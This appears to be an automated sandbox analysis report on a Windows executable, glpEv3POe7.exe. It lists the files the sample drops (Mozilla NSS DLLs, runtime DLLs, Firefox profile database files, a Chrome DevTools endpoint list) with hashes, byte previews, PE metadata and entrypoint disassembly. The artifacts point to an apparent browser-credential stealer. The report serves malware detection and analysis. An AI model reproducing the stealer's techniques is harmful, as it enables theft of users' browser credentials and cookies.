Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.380149380878667
Encrypted:	false
SSDEEP:	48:SfNaoQtTEQwfNaoQs0cQsPfNaoQOFkQO8fNaoQ+B5HG0UrU0U8Q+BO:6NnQtTEQ8NnQ8QONnQOFkQOoNnQaG0UK
MD5:	271A2FDAE57CB321B0142E52FA5EAD7D
SHA1:	A186394FC2B628CC573E3C921E91207EEE9231A0
SHA-256:	66EA4AC442A3B60877AD65819918CEB552B06EFEB2D4BD3779EB08F9FD8E684F
SHA-512:	44CF21135B3CC5AE909AC095AB87F5FA772C4956E615E91CB0B1BB30FBEDB4AD3D94074088E2270A7F33A7A0EF22DDD07500EBE8A95E6834024CDB6D9A8EF643
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/5E9AA52EE623C5728AB7FB153B24E92F",.. "id": "5E9AA52EE623C5728AB7FB153B24E92F",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/5E9AA52EE623C5728AB7FB153B24E92F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/DC3D13FDDD07CD4F5BBEDB67F2051F9C",.. "id": "DC3D13FDDD07CD4F5BBEDB67F2051F9C",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/DC3D13FDDD07CD4F5BBEDB67F2051F9C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\glpEv3POe7.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3242)
Category:	downloaded
Size (bytes):	3247
Entropy (8bit):	5.86268734743525
Encrypted:	false
SSDEEP:	96:2FliAFd66666rfn6WB0Y+tQvJKCfIh9WRtiGffQffo:2jZFd66666rfnR1R2h9q
MD5:	615D99CDEC7FADDED6846FA633F50D39
SHA1:	E348F9E96B9E56449EDD6DCD6D48D164A776BC17
SHA-256:	94B3F2C0ED5CA27CA4CD8D9B89C0E8BD293788ED4662F7214B65E358C88F4CA8
SHA-512:	835DD129C2E51B87299E13B98D40528D671C646E913D5DB1F2F3EA0154A53C7885B7D748B872CD6E35834B193FB884EA25372EC413DE9B765F0BE878B041FA9E
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["college football playoff","lake tahoe ski lift accident","baltimore pizza dave portnoy","jaws surf","marvel rivals netease gamer premium","christmas comet","matte black master chief fortnite skin","denver nuggets phoenix suns"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgkvbS8wZDhxNTgSKFBlYWhpIOKAlCBCZWFjaCBpbiBIYWlrdS1QYXV3ZWxhLCBIYXdhaWkygw1kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBQkJRRUJBQUFBQUFBQUFBQUFBQUFFQVFJREJRWUFCLy9FQURJUUFBSUJBd0lEQmdVREJRRUFBQUFBQUFFQ0F3QUVFUkloQlRGQkUxRmhjWUdSQmhR

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132771
Entropy (8bit):	5.436981286506699
Encrypted:	false
SSDEEP:	3072:fVkJQ7O4N5dTm+syHEt4W3XdQ4Q60uSr/nUW2i6o:fkQ7HTt/sHdQ4Q60DfUW8o
MD5:	866197CFBD852672FB83C83B4912CC9C
SHA1:	1B9DF01F6BA62BBFF566624824BDADC40DD87F3E
SHA-256:	73BA81B6EB486C19EC49BB8DB8D457B25D7EF40550DB1DD4D8BAA42099247500
SHA-512:	7EC12777C007C459B6F70E058042A6D049071E1676497804E5B95A963A676B2BE7DA3E51C058506CAEB03F240FC21EFDCFD1AC8902142A2902E8D4E3A61B0848
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.574504597316098
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	glpEv3POe7.exe
File size:	245'760 bytes
MD5:	89ad45b4a0e2d547c1e09d0a1ea94df6
SHA1:	ca32c2e492bb6d0753aab59993380db79b080740
SHA256:	18f4e82898557ba7f23f5b58e181793aee6b9ee066258ce0b8fdba63a714c4f8
SHA512:	22c575d47780046d845e0c383bf02aded47d2813173ea6f07180f8726be42084336ef5009c34c5c8295d0deddb3f19f6e5fee1902d62ac9499a117e7de59c4ff
SSDEEP:	3072:skv0eu6ZJlctXwLISyqlsxfKPkAck1gD1l567pGDUJ42pUvp85lmv6RReHeP3Kqc:/MeNRFLIu5ckeHgFGD+jpUvwzzeot+
TLSH:	B7341925EF40443FEE12867CD6F963D5B22669A46312D8D333C825198DF40E32D7E6AB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L.....jg...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x421bd0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x676AF0A4 [Tue Dec 24 17:34:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	d071ac95ea1d6b0ed6ec53017449901f

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
call 00007F645CAEA1F7h
call 00007F645CB0DC12h
xor ebx, ebx
cmp byte ptr [0042D014h], bl
je 00007F645CB0943Fh
lea ecx, dword ptr [ecx+00h]
inc ebx
cmp byte ptr [ebx+0042D014h], 00000000h
jne 00007F645CB09428h
lea eax, dword ptr [ebx+01h]
call 00007F645CAEA073h
mov dword ptr [ebp-10h], eax
test eax, eax
je 00007F645CB0943Eh
push 0042D014h
push eax
call dword ptr [00639134h]
call dword ptr [006390E4h]
movzx eax, ax
add eax, FFFFFBE7h
cmp eax, 2Ah
jnbe 00007F645CB09448h
movzx eax, byte ptr [eax+00421E54h]
jmp dword ptr [00421E4Ch+eax*4]
push 00000000h
call dword ptr [0063901Ch]
